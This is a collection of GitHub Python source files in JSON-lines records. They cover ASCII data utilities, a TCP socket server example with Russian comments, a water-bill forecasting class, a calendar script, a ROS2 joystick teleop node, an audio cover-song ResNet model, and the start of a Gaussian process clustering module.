   @arguments\n\n      filename -- string -- file to create\n      strings -- list of string \n\n    @return\n\n      <<nothing>> but a file is created\n\n    @exceptions\n\n    @notes\n    \"\"\"\n    s = \"\"\n    for string in strings:\n        s += string\n        if add_whitespace:\n            s += \" \"\n    s += \"\\n\"\n    f = open(filename, 'w')\n    f.write(s)\n    f.close()\n\n#===========================================================\n# Routines for importing / exporting to .hdr + .val files\n\n\ndef hdrValFilesToTrainingData(input_filebase, target_varname):\n    \"\"\"\n    @description\n\n      Extracts useful info from input_filebase.hdr and input_filebase.val\n\n    @arguments\n\n      input_filebase -- string -- points to two files\n      target_varname -- string -- this will be the y, and the\n        rest will be the X\n\n    @return\n    \n      Xy -- 2d array [#vars][#samples] -- transpose of the data from .val file\n      X -- 2d array [#full_input_vars][#samples] -- Xy, except y\n      y -- 1d array [#samples] -- the vector in Xy corresponding\n        to target_varname\n      all_varnames -- list of string -- essentially what .hdr file holds\n      input_varnames -- list of string -- all_varnames, minus target_varname\n      \n    @exceptions\n\n    @notes\n    \"\"\"\n    #retrieve varnames\n    all_varnames = asciiRowToStrings(input_filebase + '.hdr')\n\n    #split apart input and output labels\n    x_rows, y_rows, input_varnames = [], [], []\n    for (row, varname) in enumerate(all_varnames):\n        if varname == target_varname:\n            y_rows.append(row)\n        else:\n            x_rows.append(row)\n            input_varnames.append(varname)\n    assert len(y_rows) == 1, \\\n           \"expected to find one and only one '%s', not: %s\" % (target_varname, all_varnames)\n\n    #split apart input and output data\n    Xy_tr = asciiTo2dArray(input_filebase + '.val')\n    Xy = numpy.transpose(Xy_tr)\n    X = numpy.take(Xy, x_rows, 0)\n    y = numpy.take(Xy, y_rows, 0)[0]\n\n    assert X.shape[0]+1 == Xy.shape[0] == \\\n           len(input_varnames)+1 == len(all_varnames)\n    assert X.shape[1] == Xy.shape[1] == len(y)\n        \n    return Xy, X, y, all_varnames, input_varnames\n\n\ndef trainingDataToHdrValFiles(output_filebase, varnames, Xy):\n    \"\"\"\n    @description\n\n      Creates output_filebase.hdr and output_filebase.val\n\n    @arguments\n\n      output_filebase -- string --\n      varnames -- list of string -- put into .hdr file\n      Xy -- 2d array [#vars][#samples] -- put transpose of this into .val file\n\n    @return\n\n      <<none>> but two files get created\n      \n    @exceptions\n\n    @notes\n    \"\"\"\n    stringsToAscii(output_filebase + '.hdr', varnames)\n    arrayToAscii(output_filebase + '.val', numpy.transpose(Xy))\n\n","repo_name":"tokenspice/tokenspice0.1","sub_path":"util/ascii.py","file_name":"ascii.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"}
+{"seq_id":"70320619307","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n\nExample of socket and multiprocessing\n----------------\n\nThe program open socket and listen PORT\n\nEvery connected clients is processed by a separate process\n\nFor check from client use linux utility netcat, for example:\nnetcat -v localhost 9012\nthe next, you can writin in terminal\n\n\"\"\"\n\nimport socket\nimport sys\nfrom multiprocessing import Process\n\nHOST = '' #  c любых адресов\nPORT = 9012\nCLIENTS_LIMIT = 5 # макс колличество соединений\nDATA_BUFFER = 1024\n\n\n# SOCK_STREAM надёжная потокоориентированная служба (TCP)\n# AF_INET для сетевого протокола IPv4\n\n# SOL_SOCKET Уровень библиотеки сокетов для. Далее установка параметров \n# для этого уровня \n# SO_REUSEADDR Разрешает повторное использование локальных адресов \n# (если данная возможность поддерживается используемым протоколом). \n# Параметр имеет логическое значение.\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nserver.bind((HOST, PORT))\nserver.listen(CLIENTS_LIMIT)\n\n\ndef worker(connection, dest_addr):        \n    try:    \n        data = b''\n        while True:\n            data = connection.recv (DATA_BUFFER)                        \n            sys.stdout.flush()\n            if len(data)==0:\n                print('No data, exit from woker')\n                return\n            else:\n                print('Recived data from: {0}; Data: {1}'.format(dest_addr, data))\n    except KeyboardInterrupt:\n        return\n\n\ndef run_server():\n    try:\n        while True:\n            conn, addr = server.accept() \n\n            print('Connect from {0}'.format(addr))\n            sys.stdout.flush()\n\n            process = Process(target=worker, args=(conn, addr,))\n            process.start()                    \n\n    except KeyboardInterrupt:\n        server.close()        \n\n    finally:\n        server.close()\n\n\n\nif __name__=='__main__':\n    run_server()\n\n\n# Other Options for socket\n# SO_DEBUG\n# Включить запись отладочной информации. Параметр имеет логическое значение.\n# SO_BROADCAST\n# Разрешить отправку широковещательных пакетов (если данная возможность поддерживается используемым протоколом). Параметр имеет логическое значение.\n# SO_REUSEADDR\n# Разрешает повторное использование локальных адресов (если данная возможность поддерживается используемым протоколом). Параметр имеет логическое значение.\n# SO_KEEPALIVE\n# Сохраняет установленные соединения путем периодической передачи сообщений (если данная возможность поддерживается используемым протоколом). Если удаленный сокет не отвечает на сообщение, то соединение считается разорванным, процессу, осуществляющему запись в сокет, посылается сигнал SIGPIPE. Параметр имеет логическое значение.\n# SO_SNDBUF\n# Устанавливает размер буфера отправки. Параметр имеет целое значение.\n# SO_RCVBUF\n# Устанавливает размер буфера приема сообщений. Параметр имеет целое значение.\n# SO_SNDTIMEO\n# Устанавливает максимальный интервал времени в течение которого функция вывода ждет завершения. Если функция, отправляющая данные, не завершается в течение указанного интервала, то она либо возвращает частичный ответ, либо, если данные отправлены не были, присваивает переменной errno значение EAGAIN или EWOULDBLOCK. По умолчанию параметр равен нулю, что означает отсутствие таймаута. Параметру присваивается значение типа struct timeval.\n# SO_RCVTIMEO\n# Параметр аналогичен предыдущему, но устанавливает таймаут для функций ввода.\n# На уровне протокола TCP допустимы следующие параметры:\n\n# TCP_NODELAY\n# Не задерживать отправку данных. Если данный параметр установлен, то отключается алгоритм буферизации. Параметр имеет логическое значение.\n# TCP_MAXSEG\n# Устанавливает максимальный размер сегмента данных. Параметр имеет целое значение.\n# TCP_NOPUSH\n# Не использовать проталкивание. Параметр имеет логическое значение.\n# TCP_NOOPT\n# Не использовать параметры TCP. Параметр имеет логическое значение.\n# Параметры имеющие логическое значение являются целыми. Значение 0 обозначает, что соответствующий параметр будет отключен, значение 1 обозначает, что параметр будет включен. В случае успешного завершения функция фозвращает ноль, если возникли ошибки, то результат равен -1.\n\n# Функция getsockopt возвращает значение указанного параметра. Помимо вышеперечисленных параметров могут использоваться следующие:\n\n# SO_ERROR\n# Возвращает информацию о коде ошибки. Параметр имеет целое значение.\n# SO_TYPE\n# Возвращает тип сокета. Параметр имеет целое значение.\n\n","repo_name":"avedensky/quick-python-code-snapshots","sub_path":"socket/server_multiproc.py","file_name":"server_multiproc.py","file_ext":"py","file_size_in_byte":6688,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"10751317566","text":"'''\nCreated on 5 Apr 2014\n\n@author: adeel\n'''\nimport datetime, json, math\nfrom py4j.java_gateway import JavaGateway, GatewayClient\nfrom Iseries import iseries\nfrom Iutility import iutility\nfrom Ihousehold import ihousehold\nfrom iwidget.models import *\n\nclass iforecast():\n    def __init__(self,javats,unitcost=1.0):\n        self.ts = javats\n        self.unitcost = unitcost #unit cost\n\n    '''\n    This method sets the unit cost\n    cost: the unit cost \n    '''    \n    def setCost(self,cost):\n        self.unitcost = cost\n            \n    '''\n    This method calculate the cost per unit\n    #data: total units obtained from timeseries data\n    return: cost of the bill \n    '''    \n    def getCost(self,data):\n        return data * self.unitcost\n                         \n    #yearly forecasting using multi-layer perceptrols\n    def getForecast(self,tseries,units,algorithm,file,default=\"year\"):\n        highest  = 0.0\n        lowest   = 0.0\n        billdata = {\"sum\":0.0,\"avg\":0.0,\"high\":\"\",\"low\":\"\"}\n        monthdata= {\"sum\":0.0,\"avg\":0.0,\"high\":\"\",\"low\":\"\"}\n        dtlist = []\n        list2  = []\n        list1  = []\n        list3 = []\n        num = 0.0\n        dtlist2 = []        \n        data = {}\n        tserieslength = 0       \n        tseriesend = None\n        hhold    = ihousehold()\n        series   = iseries()\n        quota = 18\n        \n        enddate  = series.getfinaldate(tseries) #end date of the time series\n        #file = self.ts.getyearlyArff()\n\n        if algorithm==\"mlp\":\n            result = self.ts.getForecast(file,units,self.ts.getMLP(),\"cost\") #execute forecast using MLP for 12 units in future\n        elif algorithm==\"lr\": \n            result = self.ts.getForecast(file,units,self.ts.getLinear(),\"cost\") #execute forecast using MLP for 12 units in future\n        elif algorithm==\"gr\": \n            result = self.ts.getForecast(file,units,self.ts.getGaussian(),\"cost\") #execute forecast using MLP for 12 units in future\n        else:\n            return None\n                   \n        list2 = result.split(',') #get result in list\n        \n        if default==\"days\":\n            for x in range(0,units):\n                dt = str(enddate + datetime.timedelta(days=(x+1)))\n                dtlist.append(dt)\n                \n        else:\n            #get all future dates in list\n            for x in range(0, units):\n                dt = str(iutility.addMonths(enddate,x+1)) \n                dtlist.append(dt)\n                cost = round(hhold.tariff1(float(list2[x])),2)\n                list1.append(cost)\n                billdata[\"sum\"] = billdata[\"sum\"] + cost\n                #list1.append(iutility.getDate(dt,'%Y-%m-%d','%d-%m-%Y')) #covert format from YYY-mm-dd to dd-mm-YYYY\n        \n        highest = max(list1)\n        lowest  = min(list1)    \n        billdata[\"sum\"]  = round(billdata[\"sum\"],2)\n        billdata[\"avg\"]  = round(billdata[\"sum\"]/units,2)\n        billdata[\"high\"] = {\"date\":iutility.convertdate(dtlist[list1.index(highest)],'%Y-%m-%d','%B-%Y'),\"max\":highest} #max per nonth\n        billdata[\"low\"]  = {\"date\":iutility.convertdate(dtlist[list1.index(lowest)],'%Y-%m-%d','%B-%Y'),\"min\":lowest} #min per nonth\n        \n        data[\"data\"]     = series.getlistTojsoncost(dtlist,list1,\"Date\",\"Cost\")  #merge two list for passing to client for charting\n        data[\"billdata\"] = billdata        \n        data[\"title\"]    = \"NEXT \"+ str(units) +\" MONTHS BILL FORECAST\"        \n        \n        '''\n        price break lines\n        '''\n        start = dtlist[0]\n        end   = dtlist[units-1]\n        data[\"price_break\"] = [\n                       { \"Price Break\" : \"Highest\", \"Cost\" : highest, \"Date\" : start }, \n                       { \"Price Break\" : \"Highest\", \"Cost\" : highest, \"Date\" : end },\n                       { \"Price Break\" : \"Average\", \"Cost\"  :billdata[\"avg\"], \"Date\"  : start }, \n                       { \"Price Break\" : \"Average\", \"Cost\"  :billdata[\"avg\"], \"Date\"  : end },\n                       { \"Price Break\" : \"Lowest\", \"Cost\"  : lowest, \"Date\"  : start }, \n                       { \"Price Break\" : \"Lowest\", \"Cost\"  : lowest, \"Date\"  : end }\n                   ];  \n        \n        \n        '''\n        This is the data for the last \"units\" months to display with forecasting summary in use case 5.4\n        '''\n        tserieslength = len(tseries)\n        if tserieslength>=units:  \n            tseriesend = tseries[tserieslength-units:]\n        \n        for d in tseriesend:\n            dtlist2.append(str(d[0].date()))\n            num         = float(d[1])\n            if math.isnan(num):\n                num = 0.0\n            \n            num = iutility.percentage(num,quota)\n            cost = round(hhold.tariff1(num),2)\n            list3.append(cost)\n            monthdata[\"sum\"] = monthdata[\"sum\"] + cost       \n        \n        highest = max(list3)\n        lowest  = min(list3)    \n        monthdata[\"sum\"]  = round(monthdata[\"sum\"],2)\n        monthdata[\"avg\"]  = round(monthdata[\"sum\"]/units,2)\n        monthdata[\"high\"] = {\"date\":iutility.convertdate(dtlist2[list3.index(highest)],'%Y-%m-%d','%B-%Y'),\"max\":highest} #max per nonth\n        monthdata[\"low\"]  = {\"date\":iutility.convertdate(dtlist2[list3.index(lowest)],'%Y-%m-%d','%B-%Y'),\"min\":lowest} #min per nonth\n                \n        data[\"monthdata\"] = monthdata\n        try:\n            \"\"#entry.shutGateway()\n        except:\n            pass\n        \n        #data=\"\"\n        return data\n    \n    def getSum(self,json):\n        sum = 0.0\n        for d in json:\n            sum = sum + float(d['cost'])\n        return sum\n\n    def getAvg(self,json,months):\n        avg = self.getSum(json)/months\n        return avg\n\n    def getHighest(self,json):\n        high = 0.0\n        obj = {}\n        for d in json:\n            if float(d['cost']) > high:\n                high = float(d['cost'])\n                obj = {}\n                obj[\"date\"] = d[\"date\"]\n                obj[\"cost\"] = d[\"cost\"]\n        return obj\n\n    def getHighestCost(self,json):\n        high = 0.0\n        obj = {}\n        for d in json:\n            if float(d['cost']) > high:\n                high = float(d['cost'])\n                obj = {}\n                obj[\"date\"] = d[\"date\"]\n                obj[\"cost\"] = d[\"cost\"] * self.unitcost\n        return obj\n    \n    def getLowest(self,json):\n        low = 0.0\n        count=0\n        obj = {}\n        for d in json:\n            if count==0:\n                low = float(d['cost'])\n                obj[\"date\"] = d[\"date\"]\n                obj[\"cost\"] = d[\"cost\"]                \n            else: \n                if float(d['cost']) < low:\n                    low = float(d['cost'])\n                    obj = {}\n                    obj[\"date\"] = d[\"date\"]\n                    obj[\"cost\"] = d[\"cost\"]\n            count = count + 1\n        return obj\n\n    def getLowestCost(self,json):\n        low = 0.0\n        count=0\n        obj = {}\n        for d in json:\n            if count==0:\n                low = float(d['cost'])\n                obj[\"date\"] = d[\"date\"]\n                obj[\"cost\"] = d[\"cost\"] * self.unitcost                \n            else: \n                if float(d['cost']) < low:\n                    low = float(d['cost'])\n                    obj = {}\n                    obj[\"date\"] = d[\"date\"]\n                    obj[\"cost\"] = d[\"cost\"] * self.unitcost\n            count = count + 1\n        return obj    ","repo_name":"xpanta/enhydris","sub_path":"unexe/classes/Iforecast.py","file_name":"Iforecast.py","file_ext":"py","file_size_in_byte":7395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9576096852","text":"## Script (Python) \"getNumOfHours\"\n##bind container=container\n##bind context=context\n##bind namespace=\n##bind script=script\n##bind subpath=traverse_subpath\n##parameters=start, end, starthour=0, endhour=24\n##title=Get calendar hours from start to event\n##\n\"\"\"\nreturns integer number of hours from start of calendar to event.  works for \n  weekbyhour or day view.\n\nmod by lupa, CalendarX 0.2.7 to fix bugs, use timeTime(), list comprehensions\nReleased under the GPL (see LICENSE.txt)\nstart = start of calendar week or start of calendar day\nend = event time\nstarthour, endhour refer to start, end of viewable calendar day.\n\"\"\"\n\n#view hours if in parameters\ntry: viewstarthour = int(starthour)\nexcept TypeError: viewstarthour = 0\ntry: viewendhour = int(endhour)\nexcept TypeError: viewendhour = 24\n\n\n#cheaper: no DateTime conversions needed, but get the real hours between start and end\nif viewstarthour == 0 and viewendhour == 24:\n    hours = int( (end.timeTime() - start.timeTime()) / 3600 )\n\n#uses DateTime conversion to test inside view hours\nelse:\n    #use bools as heaviside (boxcar) fn\n    # i.e., counts if hour is viewable, doesn't count if outside view hours range.\n    shour = int(start.timeTime()/60/60)\n    ehour = int(end.timeTime()/60/60)\n    #use a list comprehension to loop through the hours, count how many are \"in\" the view.\n    hours = len([1 for hr in range(shour,ehour) if viewstarthour <= DateTime(hr*60*60).hour() < viewendhour])\n\nreturn hours\n","repo_name":"collective/Products.CalendarX","sub_path":"Products/CalendarX/skins/CalendarX/getNumOfHours.py","file_name":"getNumOfHours.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31886141941","text":"#!/usr/bin/env python3\nimport pygame, math\nimport sys\n\nimport numpy as np\n\nfrom rclpy import publisher\nfrom rclpy.node import Node\n\nimport geometry_msgs.msg\nfrom nav_msgs.msg import Odometry\nimport rclpy\n\nclass JoystickPub(Node):\n    def __init__(self):\n        super().__init__('teleop_planar_joystick')     # Create Node\n        self.publisher_ = self.create_publisher(geometry_msgs.msg.Twist, 'cmd_vel', 10)  # Setup publisher\n        timer_period = 0.1  # seconds\n        self.timer = self.create_timer(timer_period, self.timer_callback)   # Setup timer callback\n\n        # Create the subscriber (recieve odometry)\n        self.subscription_odom = self.create_subscription(\n            Odometry, \n            'odom',\n            self.odom_callback, \n            10)\n        self.subscription_odom # prevent unused variable warning\n\n        # Init PyGame\n        pygame.init()\n        size = [500, 700]\n        self.screen = pygame.display.set_mode(size)\n        pygame.display.set_caption(\"teleop_twist_joystick\")\n        done = False                # Loop until the user clicks the close button.\n        clock = pygame.time.Clock() # Used to manage how fast the screen updates\n        pygame.joystick.init()      # Initialize the joysticks\n        self.textPrint = TextPrint()     # Get ready to print\n        self.yawn = 0                               # Yawn from odom\n        self.omega_z = 0.0\n    \n    def odom_callback(self, data:Odometry): # Callback function when got odom\n        q = data.pose.pose.orientation\n        self.yawn = euler_from_quaternion(q)[2]  # Robot yawn angle (radian)\n\n    def timer_callback(self):   # Joystick timer callback\n        ### Data ###\n        axes_value = []\n        ### Get button from PyGame ###\n        # Event processing step\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                done = True\n    \n            # Possible joystick actions: JOYAXISMOTION JOYBALLMOTION JOYBUTTONDOWN\n            # JOYBUTTONUP JOYHATMOTION\n            if event.type == pygame.JOYBUTTONDOWN:\n                print(\"Joystick button pressed.\")\n            if event.type == pygame.JOYBUTTONUP:\n                print(\"Joystick button released.\")\n        # Drawing step\n        # First, clear the screen to white. Don't put other drawing commands\n        # above this, or they will be erased with this command.\n        self.screen.fill(WHITE)\n        self.textPrint.reset()\n    \n        # Get count of joysticks\n        joystick_count = pygame.joystick.get_count()\n    \n        self.textPrint.print(self.screen, \"Number of joysticks: {}\".format(joystick_count))\n        self.textPrint.indent()\n        # For each joystick:\n        for i in range(joystick_count):\n            joystick = pygame.joystick.Joystick(i)\n            joystick.init()\n            self.textPrint.print(self.screen, \"Joystick {}\".format(i))\n            self.textPrint.indent()\n            # Get the name from the OS for the controller/joystick\n            name = joystick.get_name()\n            self.textPrint.print(self.screen, \"Joystick name: {}\".format(name))\n            # Usually axis run in pairs, up/down for one, and left/right for\n            # the other.\n            axes = joystick.get_numaxes()\n            self.textPrint.print(self.screen, \"Number of axes: {}\".format(axes))\n            self.textPrint.indent()\n            for i in range(axes):\n                axis = joystick.get_axis(i)\n                axes_value.append(axis)\n                self.textPrint.print(self.screen, \"Axis {} value: {:>6.3f}\".format(i, axis))\n            self.textPrint.unindent()\n            buttons = joystick.get_numbuttons()\n            self.textPrint.print(self.screen, \"Number of buttons: {}\".format(buttons))\n            self.textPrint.indent()\n            for i in range(buttons):\n                button = joystick.get_button(i)\n                self.textPrint.print(self.screen, \"Button {:>2} value: {}\".format(i, button))\n            self.textPrint.unindent()\n            # Hat switch. All or nothing for direction, not like joysticks.\n            # Value comes back in an array.\n            hats = joystick.get_numhats()\n            self.textPrint.print(self.screen, \"Number of hats: {}\".format(hats))\n            self.textPrint.indent()\n            for i in range(hats):\n                hat = joystick.get_hat(i)\n                self.textPrint.print(self.screen, \"Hat {} value: {}\".format(i, str(hat)))\n            self.textPrint.unindent()\n            self.textPrint.unindent()\n        # ALL CODE TO DRAW SHOULD GO ABOVE THIS COMMENT\n        # Go ahead and update the screen with what we've drawn.\n        pygame.display.flip()\n        ### Prepare data & send ###\n        if abs(axes_value[3]) + abs(axes_value[4]) > 1: # Update only joystick moved more than half distance\n            self.omega_z = math.atan2(-axes_value[4], axes_value[3])\n        # self.array.data = [axes_value[0], -axes_value[1], self.omega_z]  # [v_x, v_y, omega_z]\n        twist = geometry_msgs.msg.Twist()\n        twist.linear.x = axes_value[0]*math.cos(self.yawn) - axes_value[1]*math.sin(self.yawn)\n        twist.linear.y = axes_value[1]*math.cos(self.yawn) + axes_value[0]*math.sin(self.yawn)\n        twist.linear.z = 0.0\n        twist.angular.x = 0.0\n        twist.angular.y = 0.0\n        twist.angular.z = self.omega_z - self.yawn\n        self.publisher_.publish(twist)\ndef main(args = None):\n    rclpy.init(args=args)\n    joystick_node = JoystickPub()\n    rclpy.spin(joystick_node)\n    # Destroy the node explicitly\n    # (optional - otherwise it will be done automatically\n    # when the garbage collector destroys the node object)\n    joystick_node.destroy_node()\n    rclpy.shutdown()\n    # Close the window and quit.\n    # If you forget this line, the program will 'hang'\n    # on exit if running from IDLE.\n    pygame.quit()\n# Define some colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nclass TextPrint(object):\n    \"\"\"\n    This is a simple class that will help us print to the screen\n    It has nothing to do with the joysticks, just outputting the\n    information.\n    \"\"\"\n    def __init__(self):\n        \"\"\" Constructor \"\"\"\n        self.reset()\n        self.x_pos = 10\n        self.y_pos = 10\n        self.font = pygame.font.Font(None, 20)\n \n    def print(self, my_screen, text_string):\n        \"\"\" Draw text onto the screen. \"\"\"\n        text_bitmap = self.font.render(text_string, True, BLACK)\n        my_screen.blit(text_bitmap, [self.x_pos, self.y_pos])\n        self.y_pos += self.line_height\n \n    def reset(self):\n        \"\"\" Reset text to the top of the screen. \"\"\"\n        self.x_pos = 10\n        self.y_pos = 10\n        self.line_height = 15\n \n    def indent(self):\n        \"\"\" Indent the next line of text \"\"\"\n        self.x_pos += 10\n \n    def unindent(self):\n        \"\"\" Unindent the next line of text \"\"\"\n        self.x_pos -= 10\ndef euler_from_quaternion(quaternion):\n    \"\"\"\n    Converts quaternion (w in last place) to euler roll, pitch, yaw\n    quaternion = [x, y, z, w]\n    Bellow should be replaced when porting for ROS 2 Python tf_conversions is done.\n    \"\"\"\n    x = quaternion.x\n    y = quaternion.y\n    z = quaternion.z\n    w = quaternion.w\n\n    sinr_cosp = 2 * (w * x + y * z)\n    cosr_cosp = 1 - 2 * (x * x + y * y)\n    roll = np.arctan2(sinr_cosp, cosr_cosp)\n\n    sinp = 2 * (w * y - z * x)\n    pitch = np.arcsin(sinp)\n\n    siny_cosp = 2 * (w * z + x * y)\n    cosy_cosp = 1 - 2 * (y * y + z * z)\n    yaw = np.arctan2(siny_cosp, cosy_cosp)\n\n    return roll, pitch, yaw\nif __name__ == '__main__':\n    main()\n","repo_name":"teerameth/tratsah","sub_path":"scripts/teleop_planar_joystick.py","file_name":"teleop_planar_joystick.py","file_ext":"py","file_size_in_byte":7565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26383954067","text":"from typing import Tuple\n\nimport nnAudio.features.cqt as nnAudio\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchaudio.transforms as T\n\n\nclass GeM(nn.Module):\n    def __init__(self, p=3, eps=1e-6):\n        super(GeM, self).__init__()\n        self.p = nn.Parameter(torch.ones(1) * p)\n        self.eps = eps\n\n    def forward(self, x):\n        return self.gem(x, p=self.p, eps=self.eps)\n\n    def gem(self, x, p=3, eps=1e-6):\n        return F.avg_pool2d(x.clamp(min=eps).pow(p), (x.size(-2), x.size(-1))).pow(1.0 / p)\n\n    def __repr__(self):\n        return f\"{self.__class__.__name__}(p={self.p.data.tolist()[0]:.4f}, eps={str(self.eps)})\"\n\n\nclass IBN(nn.Module):\n    r\"\"\"Instance-Batch Normalization layer from\n    `\"Two at Once: Enhancing Learning and Generalization Capacities via IBN-Net\"\n    <https://arxiv.org/pdf/1807.09441.pdf>`\n    Args:\n        planes (int): Number of channels for the input tensor\n        ratio (float): Ratio of instance normalization in the IBN layer\n    \"\"\"\n\n    def __init__(self, planes, ratio):\n        super(IBN, self).__init__()\n        self.half = int(planes * ratio)\n        self.IN = nn.InstanceNorm2d(self.half, affine=True)\n        self.BN = nn.BatchNorm2d(planes - self.half)\n\n    def forward(self, x):\n        split = torch.split(x, self.half, 1)\n        out1 = self.IN(split[0].contiguous())\n        out2 = self.BN(split[1].contiguous())\n        out = torch.cat((out1, out2), 1)\n        return out\n\n\nclass Bottleneck(nn.Module):\n\n    expansion: int = 4\n\n    def __init__(\n        self, in_channels: int, out_channels: int, last: bool = False, downsample=None, stride=1, bias: bool = True\n    ):\n        super(Bottleneck, self).__init__()\n\n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=1, padding=0, bias=bias)\n        if not last:\n            # Apply Instance normalization in first half channels (ratio=0.5)\n            self.ibn = IBN(out_channels, ratio=0.5)\n        else:\n            self.ibn = nn.BatchNorm2d(out_channels)\n\n        self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=stride, padding=1, bias=bias)\n        self.batch_norm2 = nn.BatchNorm2d(out_channels)\n\n        self.conv3 = nn.Conv2d(\n            out_channels, out_channels * self.expansion, kernel_size=1, stride=1, padding=0, bias=bias\n        )\n        self.batch_norm3 = nn.BatchNorm2d(out_channels * self.expansion)\n\n        self.downsample = downsample\n        self.stride = stride\n        self.relu = nn.ReLU()\n\n    def forward(self, x: torch.Tensor):\n        residual = x.clone()\n\n        x = self.conv1(x)\n        x = self.ibn(x)\n        x = self.relu(x)\n\n        x = self.conv2(x)\n        x = self.batch_norm2(x)\n        x = self.relu(x)\n\n        x = self.conv3(x)\n        x = self.batch_norm3(x)\n        x = self.relu(x)\n\n        if self.downsample is not None:\n            residual = self.downsample(residual)\n\n        out = residual + x\n        out = self.relu(out)\n\n        return out\n\n\nclass Resnet50(nn.Module):\n    def __init__(\n        self,\n        ResBlock: Bottleneck,\n        emb_dim: int = 2048,\n        num_channels: int = 1,\n        num_classes: int = 8858,\n        sr: int = 22050,\n        hop_lenght: int = 512,\n        n_bins=84,\n        bins_per_octave=12,\n        window=\"hann\",\n        compress_ratio: int = 20,\n        tempo_factors: Tuple[float, float] = None,\n    ) -> None:\n\n        super(Resnet50, self).__init__()\n        self.in_channels = 64\n\n        self.cqt = nnAudio.CQT2010v2(\n            sr=sr,\n            hop_length=hop_lenght,\n            n_bins=n_bins,\n            bins_per_octave=bins_per_octave,\n            window=window,\n            output_format=\"Complex\",\n            verbose=False,\n        )\n        self.compress = nn.AvgPool2d((1, compress_ratio))\n        self.time_strech = T.TimeStretch(n_freq=n_bins)\n        self.tempo_factors = tempo_factors\n\n        self.conv1 = nn.Conv2d(\n            in_channels=num_channels, out_channels=64, kernel_size=7, stride=2, padding=3, bias=False\n        )\n        self.batch_norm1 = nn.BatchNorm2d(num_features=64)\n        self.relu = nn.ReLU()\n        self.max_pool1 = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n\n        self.layer1 = self._make_layer(ResBlock, blocks=3, planes=64, stride=1)\n        self.layer2 = self._make_layer(ResBlock, blocks=4, planes=128, stride=2)\n        self.layer3 = self._make_layer(ResBlock, blocks=6, planes=256, stride=2)\n        self.layer4 = self._make_layer(ResBlock, blocks=3, planes=512, stride=1, last=True)\n\n        self.gem_pool = GeM()\n\n        self.bn_fc = nn.BatchNorm1d(emb_dim)\n        self.fc = nn.Linear(emb_dim, num_classes, bias=False)\n        nn.init.kaiming_normal_(self.fc.weight)\n\n    def _make_layer(self, ResBlock: Bottleneck, blocks: int, planes: int, stride: int = 1, last: bool = False):\n        downsample = None\n        if stride != 1 or self.in_channels != planes * ResBlock.expansion:\n            downsample = nn.Sequential(\n                nn.Conv2d(self.in_channels, planes * ResBlock.expansion, kernel_size=1, stride=stride, bias=False),\n                nn.BatchNorm2d(planes * ResBlock.expansion),\n            )\n        layers = []\n        layers.append(\n            ResBlock(in_channels=self.in_channels, out_channels=planes, stride=stride, downsample=downsample, last=last)\n        )\n        self.in_channels = planes * ResBlock.expansion\n        for _ in range(1, blocks):\n            layers.append(ResBlock(in_channels=self.in_channels, out_channels=planes, last=last))\n\n        return nn.Sequential(*layers)\n\n    def forward(self, x: torch.Tensor):\n\n        x = self.cqt(x)\n        # Time-strech requires complex tensors, that's why cqt function returns complex\n        x = torch.view_as_complex(x)\n        if self.tempo_factors is not None:\n            rate = abs(self.tempo_factors[1] - self.tempo_factors[0]) * torch.rand(1).item() + min(self.tempo_factors)\n            strech = (\n                abs(1 - rate) > 7e-2\n            )  # if the strech ratio is too close to 1 (i.e. 0.93 < ratio < 1.07), skip time streching\n            if self.training and strech:\n                x = self.time_strech(x, rate)\n        # Compress the magnitude of the CQT\n        x = self.compress(torch.abs(x))\n\n        # Unsqueeze to simulate 1-channel image\n        x = self.conv1(x.unsqueeze(1))\n        x = self.batch_norm1(x)\n        x = self.relu(x)\n        x = self.max_pool1(x)\n\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        f_t = self.gem_pool(x)\n        f_t = torch.flatten(f_t, start_dim=1)\n\n        f_c = self.bn_fc(f_t)\n        cls = self.fc(f_c)\n\n        return dict(f_t=f_t, f_c=f_c, cls=cls)\n","repo_name":"Orfium/bytecover","sub_path":"bytecover/models/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":6734,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"}
+{"seq_id":"70603503467","text":"#! /usr/bin/env python3\nimport numpy as np\nfrom sklearn.mixture import GaussianMixture\nfrom scipy.special import logsumexp\nimport scipy as sp\nimport lsbm\n\n## Function that estimates the intrinsic dimension from the cumulative variance\ndef estim_d(Lambda, threshold):\n    ''' \n    Input:\n        Lambda: the eigenvalues\n        threshold: the percentage of the cumulative variance\n    Output:\n        d: the intrinsic dimension\n    '''\n    if Lambda.size == 1:\n        d = 1\n    else:\n        d = np.where(np.cumsum(Lambda) / np.sum(Lambda) > threshold)[0][0] + 1\n    return d\n\n## Function that standardises the data\ndef standardise_x(x):\n    M = sp.mean(x,axis=0)\n    S = sp.std(x,axis=0)\n    xs = (x - M) / S\n    return xs, M, S\n\n## Function that calculates the RBF kernel\ndef RBF(x, y, sig):\n    return np.exp(-np.linalg.norm(x - y) ** 2 / (2 * sig))\n\n# Parsimonious Gaussian Process for Clustering (Bouveyron et al., 2015)\nclass PGPEM:\n    \n    def __init__(self, x, K, sig=None, threshold=None, standardise=False):\n        ## Data\n        self.K = K\n        self.n = x.shape[0]\n        self.eps = sp.finfo(sp.float64).eps \n        if standardise:\n            self.x = standardise_x(x)[0]\n        else:\n            self.x = x\n        ## Parameter of the 